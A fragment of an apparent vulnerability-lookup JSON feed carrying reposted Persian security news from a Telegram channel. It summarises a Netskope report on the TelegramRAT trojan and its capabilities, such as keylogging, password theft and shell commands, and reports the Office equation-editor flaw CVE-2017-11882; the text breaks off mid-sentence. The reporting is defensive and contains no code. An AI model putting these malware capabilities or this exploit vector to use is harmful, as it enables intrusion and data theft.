\u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062e\u0641\u06cc \u0646\u06af\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u060c \u062d\u0627\u0648\u06cc \u0627\u0631\u062c\u0627\u0639\u200c\u0647\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0633\u0631\u06cc\u0639\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u062f\u0648\u062f\u0648\u06cc\u06cc \u0645\u0633\u062a\u0642\u0644 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0647\u0645\u0647\u200c\u06cc \u0686\u06cc\u0632\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a.\u00bb\n\n\u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0645\u0641\u0633\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646\u060c \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0648 \u0647\u0645\u0647\u200c\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0647\u0633\u062a\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062d\u062c\u0645 \u0628\u0632\u0631\u06af\u06cc \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0645\u062a\u0631 \u0645\u0634\u06a9\u0648\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u0628\u0631\u0633\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c\u200c\u0634\u062f\u0647\u060c \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc PYD\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc DLL  \u0648 \u06cc\u06a9 \u067e\u0648\u0634\u0647\u200c\u06cc \u062d\u0627\u0648\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc .pyc \u0631\u0627 \u06cc\u0627\u0641\u062a\u0646\u062f. \u0622\u0646\u200c\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0628\u0647 \u0646\u0627\u0645 \u00abRATAttack\u00bb \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0698\u0647\u200c\u06cc \u00abRAT-via-Telegram\u00bb \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u062f\u0631 GitHub \u0627\u0634\u0627\u0631\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u062e\u0648\u062f \u0631\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0632 \u06a9\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0644\u06af\u0631\u0627\u0645\u060c \u06a9\u0647 \u0627\u0632 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0648 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062c\u0627\u0633\u0648\u0633\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u060c \u0628\u0627 \u0647\u062f\u0641 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0631\u0642\u0631\u0627\u0631 \u06a9\u0646\u0646\u062f. \u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646 RAT \u06cc\u06a9 \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062a\u0648\u06a9\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc TelegramRAT \u062c\u0627\u0633\u0627\u0632\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0645\u062a\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0622\u0646\u200c\u062c\u0627 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0644\u0648\u062f\u0647 \u0635\u0627\u062f\u0631 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0637\u0628\u0642 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u06cc\u0627\u0641\u062a\u200c\u0634\u062f\u0647\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0635\u0627\u0648\u06cc\u0631\u06cc \u0627\u0632 \u0635\u0641\u062d\u0647 \u062a\u0647\u06cc\u0647 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0634\u0650\u0644 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u06a9\u067e\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u0632 \u0647\u062f\u0641 \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u062d\u0644\u06cc \u0631\u0627 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u062f\u060c \u062b\u0627\u0628\u062a \u06a9\u0631\u062f\u0646 \u0635\u0641\u062d\u0647\u200c\u06a9\u0644\u06cc\u062f \u0631\u0627 \u0641\u0639\u0627\u0644 \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u062f\u060c \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f \u06af\u0648\u06af\u0644 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0645\u06cc\u06a9\u0631\u0648\u0641\u0648\u0646 \u0635\u062f\u0627 \u0636\u0628\u0637 \u06a9\u0646\u062f\u060c \u06af\u0632\u0627\u0631\u0634 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0634\u062e\u0635\u06cc \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u067e\u0631\u0648\u06a9\u0633\u06cc \u0628\u0627\u0632 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062e\u0627\u0645\u0648\u0634 \u0648 \u06cc\u0627 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627 \u062f\u0631 \u0632\u0645\u0627\u0646 \u0645\u0634\u062e\u0635 \u0632\u0645\u0627\u0646\u200c\u0628\u0646\u062f\u06cc \u06a9\u0646\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0648 \u0641\u0631\u0622\u06cc\u0646\u062f\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u062f\u060c \u0648 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0646\u062a\u06cc\u062c\u0647 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647: \u00ab TelegramRAT \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0635\u062f\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f \u062a\u0627 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0631\u062f. TelegramRAT \u0628\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0628\u0631 \u0628\u0648\u0645\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u0628\u0631\u0627\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u062e\u0648\u062f \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u067e\u06cc\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0642\u0627\u0648\u0645\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0628\u0647 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u062f \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u200c\u06cc \u0627\u0628\u0631\u06cc \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0647\u062f \u0648 \u0628\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 SSL \u0631\u0633\u06cc\u062f\u06af\u06cc \u06a9\u0646\u062f \u062a\u0627 \u0645\u0624\u062b\u0631 \u0628\u0627\u0634\u0646\u062f.\u00bb\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-29T04:00:05.489844Z"}, {"uuid": "9a9df9ad-a589-425c-8a02-36eb89dba413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6369", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0646\u0635\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0647\u0646\u06af\u0627\u0645 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0627\u06cc\u062f \u0628\u0633\u06cc\u0627\u0631 \u0645\u0631\u0627\u0642\u0628 \u0628\u0627\u0634\u06cc\u062f.\n\n\u0647\u0646\u06af\u0627\u0645\u06cc\u200c\u06a9\u0647 \u062c\u0647\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627 \u062a\u0647\u062f\u06cc\u062f \u0648\u06cc\u0698\u06af\u06cc \u062f\u0627\u062e\u0644\u06cc DDE \u00ab\u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647\u00bb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0627\u062c\u0647 \u0627\u0633\u062a\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u062c\u062f\u06cc \u062f\u0631 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0622\u0641\u06cc\u0633 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0647\u062f\u0641 \u0646\u0635\u0628 \u0646\u0645\u0627\u06cc\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u0627\u0634\u06a9\u0627\u0644 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0627\u0641\u0638\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u062f\u0631 \u06f1\u06f7 \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f3\u06f6\u06f5\u060c \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a \u0648 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u062a\u0627\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0633\u0646\u062f \u0645\u062e\u0631\u0628 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631\u060c \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 EQNEDT\u06f3\u06f2.EXE\u060c \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0645\u0633\u0626\u0648\u0644 \u062f\u0631\u062c \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc (\u0627\u0634\u06cc\u0627\u06cc OLE) \u0645\u0648\u062c\u0648\u062f \u0627\u0633\u0646\u0627\u062f \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0645\u0644\u06cc\u0627\u062a \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u0627\u062f\u0631 \u0628\u0647 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0646\u0628\u0648\u062f\u0647 \u0648 \u062e\u0631\u0627\u0628\u06cc \u0622\u0646 \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\u06f1\u06f7 \u0633\u0627\u0644 \u067e\u06cc\u0634\u060c EQNEDT\u06f3\u06f2.EXE \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f0 \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0628\u0647\u200c\u0645\u0646\u0638\u0648\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631 \u0633\u0627\u0632\u06af\u0627\u0631 \u0628\u0627\u0642\u06cc \u0645\u06cc\u200c\u0645\u0627\u0646\u062f\u060c \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u067e\u0633 \u0627\u0632 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f7 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0647 \u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\n\u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u060c \u0628\u0647 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0627\u0635 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0628\u0627 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06cc\u0627 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u0631\u062f\u067e\u064e\u062f \u0646\u06cc\u0627\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0631\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0647\u0646\u06af\u0627\u0645 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0647\u0633\u062a\u0647\u200c 